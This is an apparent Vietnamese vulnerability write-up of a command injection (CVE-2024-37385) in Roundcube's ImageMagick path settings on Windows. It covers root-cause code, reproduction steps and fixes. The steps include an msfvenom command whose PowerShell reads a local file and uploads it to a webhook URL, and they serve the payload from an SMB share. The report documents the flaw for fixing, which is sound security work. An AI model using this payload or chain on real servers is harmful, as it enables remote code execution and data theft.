## Command injection via the `im_convert_path` và `im_identify_path` configurations in RoundCube Webmail on Windows [Critical]
### 1. Description and Impact
Roundcube Webmail là một ứng dụng webmail mã nguồn mở, cho phép các lập trình viên thiết lập một số tham số trước khi xây dựng ứng dụng. Lỗ hổng Command Injection ảnh hưởng thông qua việc thiết lập các biến `im_convert_path` và `im_identify_path` (do bản vá chưa hoàn chỉnh của CVE-2020-12641) dẫn tới việc kẻ tấn công có thể thực thi câu lệnh bất kì dưới quyền của webmail trên máy Windows của nạn nhân.
### 2. Root Cause Analysis
#### 2.1. Tóm tắt
Sau khi thiết lập các tham số, các giá trị sẽ được lưu lại trong biến Global `$config` thông qua phương thức `create_config()` trong `webmail\program\include\rcmail_install.php`
```php
public function create_config()
{
$config = array();
foreach ($this->config as $prop => $default) {
$is_default = !isset($_POST["_$prop"]);
$value = !$is_default || $this->bool_config_props[$prop] ? $_POST["_$prop"] : $default;
//....
// save change
$this->config[$prop] = $value;
$config[$prop] = $value;
}
$out = "<?php\n\n";
$out .= "/* Local configuration for Roundcube Webmail */\n\n";
foreach ($config as $prop => $value) {
// copy option descriptions from existing config or defaults.inc.php
$out .= $this->comments[$prop];
$out .= "\$config['$prop'] = " . self::_dump_var($value, $prop) . ";\n\n";
}
return $out;
}
```
Trong file `webmail\program\lib\Roundcube\rcube_image.php` có chức năng resize và convert ảnh, hàm `getCommand()` được gọi với đầu vào là các config `im_convert_path` và `im_identify_path`, sau đó thực hiện việc nối chuỗi với các tham số rồi thực thi command.
```php
public function resize($size, $filename = null, $browser_compat = false)
{
//...
$convert = self::getCommand('im_convert_path');
/...
$result = rcube::exec($convert
. ' 2>&1 -flatten -auto-orient -colorspace sRGB -strip'
. ' -quality {quality} -resize {size} {intype}:{in} {type}:{out}', $p);
}
public function convert($type, $filename = null)
{
$rcube = rcube::get_instance();
$convert = self::getCommand('im_convert_path');
//..
$result = rcube::exec($convert . ' 2>&1 -colorspace sRGB -strip -flatten -quality 75 {in} {type}:{out}', $p);
//...
}
private function identify()
{
$rcube = rcube::get_instance();
// use ImageMagick in command line
if ($cmd = self::getCommand('im_identify_path')) {
$args = ['in' => $this->image_file, 'format' => "%m %[fx:w] %[fx:h]"];
$id = rcube::exec($cmd . ' 2>/dev/null -format {format} {in}', $args);
//...
}
```
Hàm `exec()` chỉ thực hiện parse các tham số và filter `escapeshellarg()` nên sẽ không đủ để filter UNC Path => `getCommand()` không filter đủ dẫn tới việc kẻ tấn công inject UNC Path
#### 2.2. Lỗi trong hàm `getCommand()` (fix chưa hoàn chỉnh CVE-2020-12641)
Chúng tôi phân tích hàm `getCommand()` trong file `webmail\program\lib\Roundcube\rcube_image.php`
```php
private static function getCommand($opt_name)
{
static $error = [];
$cmd = rcube::get_instance()->config->get($opt_name);
if (empty($cmd)) {
return false;
}
if (preg_match('/^(convert|identify)(\.exe)?$/i', $cmd)) {
return $cmd;
}
// Executable must exist, also disallow network shares on Windows
if ($cmd[0] != "\\" && file_exists($cmd)) {
return $cmd;
}
if (empty($error[$opt_name])) {
rcube::raise_error("Invalid $opt_name: $cmd", true, false);
$error[$opt_name] = true;
}
return false;
}
```
Dựa vào đoạn code trên, ta có thể thấy:
+ Biến đầu vào `$opt_name` sẽ được đưa vào để lấy giá trị cho `$cmd` thông qua `rcube::get_instance()->config->get()`(lấy các thuộc tính đã config).
+ Nếu `$cmd` là các file `convert.exe`,`identify.exe` hoặc file có tồn tại thì sẽ trả về giá trị `$cmd`.
Mặc dù đã filter `\` để không cho phép Windows UNC Share nhưng trong Windows, UNC Path cho phép gọi tới bằng `/`.
=> Filter chưa đầy đủ dẫn tới attacker có thể gọi và thực thi command với quyền của webmail `//Attacker_IP/SHARE/file.exe`.
### 3. Steps to reproduce
Bước 1: Setup
+ Địa chỉ IP attacker là `10.8.140.1` và địa chỉ Roundcube là `10.10.100.104`.
+ Tạo một file `backup.exe` có chức năng đọc file trên hệ thống (ở đây đọc file `C:/flag.txt`) và đẩy ra Webhook bằng `msfvenom`.
```msfvenom -p windows/exec CMD="powershell -c IEX (New-Object Net.WebClient).UploadString('https://webhook.site/89149f97-a3a0-4127-b461-64ca35f05c3f', (Get-Content C:\flag.txt))" -f exe -o backup.exe```.
+ Khởi tạo SMBServer bằng `impacket-smbserver` để chia sẻ các public file. Tức là `backup.exe` có thể truy cập qua `//10.8.140.1/SHARE/backup.exe`.
Bước 2: Inject config `im_convert_path` và `im_identify_path`
Thông quá installer, ta inject UNC Path vào 2 biến config.

Bước 3: Trigger Exploit
Gửi một image dạng `tiff`. Vào INBOX, đọc thư và xem ảnh để trigger chức năng convert image.

Bước 4: Kết quả


### 4. Attachments
[1] [CVE-2024-37385_command_injection.py](https://raw.githubusercontent.com/NamMTA892/test/refs/heads/main/CVE-2024-37385_command_injection.py)
### 5. Recommendations
Để khắc phục lỗ hổng này, có thể áp dụng các cách sau:
+ **Tắt config Install hoặc xóa folder Install**: Yêu cầu các lập trình viên sau khi setup xong cần tắt chức năng config Install hoặc xóa folder Install.
+ **Cập nhật lại filter**: Cần filter thêm `//` để tránh Windows UNC Share
### 6. References
[1] https://github.com/roundcube/roundcubemail/commit/5ea9f37ce39374b6124586c0590fec7015d35d7f
[2] https://attack.mitre.org/techniques/T1202/